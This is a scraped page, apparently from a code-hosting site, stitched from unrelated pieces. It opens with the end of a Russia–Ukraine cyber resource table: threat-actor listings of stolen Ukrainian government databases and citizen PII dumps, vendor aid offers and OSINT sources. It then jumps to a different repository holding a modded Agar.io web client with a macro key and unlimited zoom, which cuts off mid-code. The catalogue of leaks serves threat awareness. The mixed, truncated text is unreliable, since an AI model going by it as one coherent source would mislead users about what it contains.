FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of va.gov.ua                                                                                           | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mtu.gov.ua                                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of cg.mvs.gov.ua                                                                                       | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of ch-tmo.mvs.gov.ua                                                                                   | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of cp.mvs.gov.ua                                                                                       | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of cpd.mvs.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of hutirvilnij-mrc.mvs.gov.ua                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dndekc.mvs.gov.ua                                                                                   | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of visnyk.dndekc.mvs.gov.ua                                                                            | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dpvs.hsc.gov.ua                                                                                     | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of odk.mvs.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of e-driver\[.\]hsc\[.\]gov\[.\]ua                                                                     | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of wanted\[.\]mvs\[.\]gov\[.\]ua                                                                       | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of minregeion\[.\]gov\[.\]ua                                                                           | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of health\[.\]mia\[.\]solutions                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mtsbu\[.\]ua                                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of motorsich\[.\]com                                                                                   | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of kyivcity\[.\]com                                                                                    | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of bdr\[.\]mvs\[.\]gov\[.\]ua                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of gkh\[.\]in\[.\]ua                                                                                   | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of kmu\[.\]gov\[.\]ua                                                                                  | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mon\[.\]gov\[.\]ua                                                                                  | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of minagro\[.\]gov\[.\]ua                                                                              | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mfa\[.\]gov\[.\]ua                                                                                  | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| Intel\_Data     | UA data sharing | PII DB (56M) of Ukrainian Citizens                                                                        | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| Kristina        | UA data sharing | DB of Ukrainian National Police (mvs\[.\]gov\[.\]ua)                                                      | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| NetSec          | UA data sharing | PII DB (53M) of Ukrainian citizens                                                                        | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| Psycho\_Killer  | UA data sharing | PII DB (56M) of Ukrainian Citizens                                                                        | No        | TA discussion in past 90 days | Exploit Forum .onion \[not linked\]                        | ​| Sp333           | UA data sharing | PII DB of Ukrainian and Russian interpreters, translators, and tour guides                                | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| Vaticano        | UA data sharing | DB of Ukrainian 'Diia' e-Governance Portal for Ministry of Digital Transformation of Ukraine \[copy\]     | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| Vaticano        | UA data sharing | DB of Ministry for Communities and Territories Development of Ukraine (minregion\[.\]gov\[.\]ua) \[copy\] | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​####​ ​`Vendor Support` ​| Vendor | Offering | URL | ​| --- | --- | --- | ​| Dragos | Access to Dragos service if from US/UK/ANZ and in need of ICS cybersecurity support | [twitter.com/RobertMLee](https://twitter.com/RobertMLee/status/1496862093588455429) | ​| GreyNoise |  Any and all `Ukrainian` emails registered to GreyNoise have been upgraded to VIP which includes full, uncapped enterprise access to all GreyNoise products | [twitter.com/Andrew___Morris](https://twitter.com/Andrew___Morris/status/1496923545712091139) | ​| Recorded Future | Providing free intelligence-driven insights, perspectives, and mitigation strategies as the situation in Ukraine evolves| [recordedfuture.com](https://www.recordedfuture.com/ukraine/) | ​| Flashpoint | Free Access to Flashpoint’s Latest Threat Intel on Ukraine | [go.flashpoint-intel.com](https://go.flashpoint-intel.com/trial/access/30days) | ​| ThreatABLE | A Ukraine tag for free threat intelligence feed that's more highly curated to cyber| [twitter.com/threatable](https://twitter.com/threatable/status/1497233721803644950) | ​| Orange | IOCs related to Russia-Ukraine 2022 conflict extracted from our Datalake Threat Intelligence platform. | [github.com/Orange-Cyberdefense](https://github.com/Orange-Cyberdefense/russia-ukraine_IOCs)| ​| FSecure | F-Secure FREEDOME VPN is now available for free in all of Ukraine | [twitter.com/FSecure](https://twitter.com/FSecure/status/1497248407303462960) | ​| Multiple vendors | List of vendors offering their services to Ukraine for free, put together by [@chrisculling](https://twitter.com/chrisculling/status/1497023038323404803) | [docs.google.com/spreadsheets](https://docs.google.com/spreadsheets/d/18WYY9p1_DLwB6dnXoiiOAoWYD8X0voXtoDl_ZQzjzUQ/edit#gid=0) | ​| Mandiant | Free threat intelligence, webinar and guidance for defensive measures relevant to the situation in Ukraine. | [mandiant.com](https://www.mandiant.com/resources/insights/ukraine-crisis-resource-center) | ​| Starlink | Satellite internet constellation operated by SpaceX providing satellite Internet access coverage to Ukraine | [twitter.com/elonmusk](https://twitter.com/elonmusk/status/1497701484003213317) | ​| Romania DNSC | Romania’s DNSC – in partnership with Bitdefender – will provide technical consulting, threat intelligence and, free of charge, cybersecurity technology to any business, government institution or private citizen of Ukraine for as long as it is necessary. | [Romania's DNSC Press Release](https://dnsc.ro/citeste/press-release-dnsc-and-bitdefender-work-together-in-support-of-ukraine)| ​| BitDefender | Access to Bitdefender technical consulting, threat intelligence and both consumer and enterprise cybersecurity technology | [bitdefender.com/ukraine/](https://www.bitdefender.com/ukraine/) | ​| NameCheap | Free anonymous hosting and domain name registration to any anti-Putin anti-regime and protest websites for anyone located within Russia and Belarus | [twitter.com/Namecheap](https://twitter.com/Namecheap/status/1498998414020861953) | ​| Avast | Free decryptor for PartyTicket ransomware | [decoded.avast.io](https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/) |  ​####​ ​`Vetted OSINT Sources` ​| Handle | Affiliation | ​| --- | --- | ​| [@KyivIndependent](https://twitter.com/KyivIndependent) | English-language journalism in Ukraine | ​| [@IAPonomarenko](https://twitter.com/IAPonomarenko) | Defense reporter with The Kyiv Independent | ​| [@KyivPost](https://twitter.com/KyivPost) | English-language journalism in Ukraine | ​| [@Shayan86](https://twitter.com/Shayan86) | BBC World News Disinformation journalist | ​| [@Liveuamap](https://twitter.com/Liveuamap) | Live Universal Awareness Map (“Liveuamap”) independent global news and information site | ​| [@DAlperovitch](https://twitter.com/DAlperovitch) | The Alperovitch Institute for Cybersecurity Studies, Founder & Former CTO of CrowdStrike | ​| [@COUPSURE](https://twitter.com/COUPSURE) | OSINT investigator for Centre for Information Resilience | ​| [@netblocks](https://twitter.com/netblocks) | London-based Internet's Observatory | ​####​ ​`Miscellaneous Resources` ​| Source | URL | Content | ​| --- | --- | --- | ​| PowerOutages.com | https://poweroutage.com/ua | Tracking PowerOutages across Ukraine | ​| Monash IP Observatory | https://twitter.com/IP_Observatory | Tracking IP address outages across Ukraine | ​| Project Owl Discord | https://discord.com/invite/projectowl | Tracking foreign policy, geopolitical events, military and governments, using a Discord-based crowdsourced approach, with a current emphasis on Ukraine and Russia | ​| russianwarchatter.info | https://www.russianwarchatter.info/ | Known Russian Military Radio Frequencies |

    From organization nate0634034090

  • rogerio111 / rogerio

    names.io, <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" content="630"/> <meta property="og:type" content="website"/> <title>Agar.io</title> <link id="favicon" rel="icon" type="image/png" href="favicon-32x32.png"/> <!-- Área de anuncio --> <link href='https://fonts.googleapis.com/css?family=Ubuntu:700' rel='stylesheet' type='text/css'> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/glyphicons-social.css" rel="stylesheet"> <link href="css/animate.css" rel="stylesheet"> <style>body{padding:0;margin:0;overflow:hidden;}#canvas{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;}form{margin-bottom:0px;}.btn-play,.btn-settings,.btn-spectate,.btn-play-guest,.btn-login,.btn-logout{display:block;float:left;height:35px;}.btn-spectate,.btn-logout{height:35px;display:block;width:110px;margin-left:10px;margin-bottom:5px;}#helloContainer[data-logged-in="0"] .btn-play-guest{margin-left:5px;width:125px;}#helloContainer[data-logged-in="0"] .btn-login{margin-left:5px;width:145px;}#helloContainer[data-logged-in="0"] .agario-exp-bar,#helloContainer[data-logged-in="0"] .progress-bar-star,#helloContainer[data-logged-in="0"] #agario-main-buttons .agario-profile,#helloContainer[data-logged-in="0"] .btn-play{display:none;}#helloContainer[data-logged-in="0"] .btn-logout{display:none;}#helloContainer[data-logged-in="1"] .btn-play{margin-left:5px;width:275px;}#helloContainer[data-logged-in="1"] .btn-play-guest{display:none;}#helloContainer[data-logged-in="1"] .btn-login{display:none;}.btn-settings{width:40px;}.btn-spectate{display:block;float:right;}#adsBottom{position:absolute;left:0;right:0;bottom:0;}#adsBottomInner{margin:0px auto;width:728px;height:90px;border:5px solid white;border-radius:5px 5px 0px 0px;background-color:#FFFFFF;box-sizing:content-box;}.region-message{display:none;margin-bottom:12px;margin-left:6px;margin-right:6px;text-align:center;}#preview {width: 30px;height: 30px;border-radius: 400px;border: 3px solid #17c834;margin: 1px 0;float: left; position: absolute;left: 52.7%; top:42.5%;}#nicks {width: 10%;float: left; position: absolute; left: 46%; top: 42.5%;}#nick{width:10%;padding: 0px; left: 46%; top: -12px;position: relative;}#locationKnown #region{width:100%;}#locationUnknown #region{margin-bottom:15px;}#gamemode{width:10%;float:right;top: -42.5%;right: 44%;position: relative;}.agario-panel{display:inline-block;width:350px;background-color:rgba(25, 28, 29, 0.72);margin:2px;border-radius:10px;padding:5px 15px 5px 15px;vertical-align:top;}.agario-side-panel{display:inline-block;width:220px;}#helloContainer,.connecting-panel{position:absolute;top:50%;left:50%;margin-right:-50%;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);}#a300x250{width:300px;height:250px;background-repeat:no-repeat;background-size:contain;background-position:center center;}.agario-exp-bar{height:30px;position:relative;border:2px solid #01612B;}.agario-exp-bar .progress-bar{background-color:#338833;border-radius:0px 4px 4px 0px;-webkit-transition:none;transition:none;}.agario-exp-bar .progress-bar-text{font-size:12pt;cursor:default;opacity:0.75;color:#FFF;text-align:center;line-height:26px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;position:absolute;top:0;bottom:0;left:0;right:0;font-family:'Ubuntu',sans-serif;}#agario-results-table{width:100%;}#agario-results-table th{text-align:center;font-size:8pt;}#agario-results-table td{text-align:center;color:#999;font-size:11pt;padding-bottom:15px;}.progress-bar-star{position:absolute;top:-13px;right:-16px;width:50px;height:50px;background-image:url("img/star.png");background-size:cover;-webkit-transform:rotate3d(0,0,1,10deg);transform:rotate3d(0,0,1,10deg);-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:0s;animation-delay:0s;-webkit-animation-iteration-count:1;animation-iteration-count:1;cursor:default;color:#FFF;text-align:center;line-height:55px;font-size:12pt;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;font-family:'Ubuntu',sans-serif;}.tooltip-inner{max-width:300px;}.agario-profile-panel{padding:15px 15px 15px 15px;}.agario-profile-panel .agario-profile-picture{float:left;display:block;width:64px;height:64px;border-radius:5px;border:2px solid #CCC;margin-right:6px;}.agario-profile-panel .agario-profile-name-container{float:left;display:table;width:120px;height:64px;position:relative;}.agario-profile-panel .agario-profile-name-container .agario-profile-name{display:table-cell;vertical-align:middle;text-align:center;font-weight:bold;}#helloContainer[data-has-account-data="0"] .agario-profile-panel{display:none;}.agario-party,.agario-party-0,.agario-party-1,.agario-party-2,.agario-party-3,.agario-party-4,.agario-party-5,.agario-party-6{display:none;}#helloContainer[data-gamemode=":party"] .agario-party{display:block;position:relative;}#helloContainer[data-gamemode=":party"] .agario-promo{display:none;}#helloContainer[data-party-state="0"] .agario-party-0{display:block;}#helloContainer[data-party-state="1"] .agario-party-1{display:block;}#helloContainer[data-party-state="2"] .agario-party-2{display:block;}#helloContainer[data-party-state="3"] .agario-party-3{display:block;}#helloContainer[data-party-state="4"] .agario-party-4{display:block;}#helloContainer[data-party-state="5"] .agario-party-5{display:block;}#helloContainer[data-party-state="6"] .agario-party-6{display:block;}.partyToken{margin-bottom:10px;}.side-container{vertical-align:top;display:inline-block;width:224px;}.cell-spinner{display:block;margin:0;}.creating-party-text{position:absolute;cursor:default;top:0;bottom:0;left:0;right:0;width:100%;height:100%;text-align:center;color:#FFF;font-size:24px;line-height:100px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;}.agario-results-0,.agario-results-1,.agario-results-2{display:none;}#helloContainer[data-results-state="0"] .agario-results-0{display:block;}#helloContainer[data-results-state="1"] .agario-results-1{display:block;}#helloContainer[data-results-state="2"] .agario-results-2{display:block;}#options>label{display:block;width:94px;float:left;}#stats{position:relative;width:350px;height:581px;padding:0px 0px 300px 0px;overflow:hidden;}#statsPelletsContainer,#statsTimeAliveContainer,#statsHighestMassContainer,#statsTimeLeaderboardContainer,#statsPlayerCellsEatenContainer,#statsTopPositionContainer{position:absolute;width:100px;height:100px;}#statsPelletsContainer{top:30px;left:50px;}#statsHighestMassContainer{top:30px;right:50px;}#statsTimeAliveContainer{top:85px;left:50px;}#statsTimeLeaderboardContainer{top:85px;right:50px;}#statsPlayerCellsEatenContainer{top:140px;left:50px;}#statsTopPositionContainer{top:140px;right:50px;}#statsPellets{position:absolute;top:0;left:0;bottom:0;right:0;margin:auto;}#statsText{position:absolute;top:0;bottom:0;left:0;right:0;line-height:100px;font-size:23px;}#statsSubtext{position:absolute;bottom:0;left:0;right:0;line-height:60px;font-size:12px;color:#000;text-align:center;}#statsChartText{position:absolute;left:20px;bottom:250px;line-height:40px;font-size:40px;}#statsChartText,#statsText{cursor:default;color:#444;text-align:center;font-weight:bold;}#statsContinue{position:absolute;left:25px;right:25px;width:300px;bottom:295px;}#statsGraph{position:absolute;bottom:350px;left:0px;right:0px;opacity:0.4;}#s300x250{position:absolute;bottom:10px;left:25px;right:25px;width:300px;height:250px;}.tosBox{z-index:1000;position:absolute;bottom:0;right:0;background-color:#FFF;border-radius:5px 0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North America', 'region_south_america': 'South America', 'region_europe': 'Europe', 'region_turkey': 'Turkey', 'region_poland': 'Poland', 'region_east_asia': 'East Asia', 'region_russia': 'Russia', 'region_china': 'China', 'region_oceania': 'Oceania', 'region_australia': 'Australia', 'region_players': 'players', 'option_no_skins': 'Remover skins', 'option_no_names': 'Sem Nome', 'option_dark_theme': 'Tema Escuro', 'option_no_colors': 'Sem Cores', 'option_show_mass': 'Most. Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; i < g_cells.length; i++) { var cell = g_cells[i]; if (!(!cell.N() || cell.R || 20 >= cell.size * g_scale)) { maxSize = Math.max(cell.size, maxSize); minX = Math.min(cell.x, minX); minY = Math.min(cell.y, minY); maxX = Math.max(cell.x, maxX); maxY = Math.max(cell.y, maxY); } } g_pointTree = QTreeFactory.la({ ca: minX - (maxSize + 100), da: minY - (maxSize + 100), oa: maxX + (maxSize + 100), pa: maxY + (maxSize + 100), ma: 2, na: 4 }); for (i = 0; i < g_cells.length; i++) { if (cell = g_cells[i], cell.N() && !(20 >= cell.size * g_scale)) { for (minX = 0; minX < cell.a.length; ++minX) { minY = cell.a[minX].x; maxX = cell.a[minX].y; if (!(minY < g_viewX - g_protocol / 2 / g_scale || maxX < g_viewY - __unmatched_60 / 2 / g_scale || minY > g_viewX + g_protocol / 2 / g_scale || maxX > g_viewY + __unmatched_60 / 2 / g_scale)) { g_pointTree.m(cell.a[minX]); } } } } } } function UpdatePos() { g_moveX = (g_mouseX - g_protocol / 2) / g_scale + g_viewX; g_moveY = (g_mouseY - __unmatched_60 / 2) / g_scale + g_viewY; } function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, 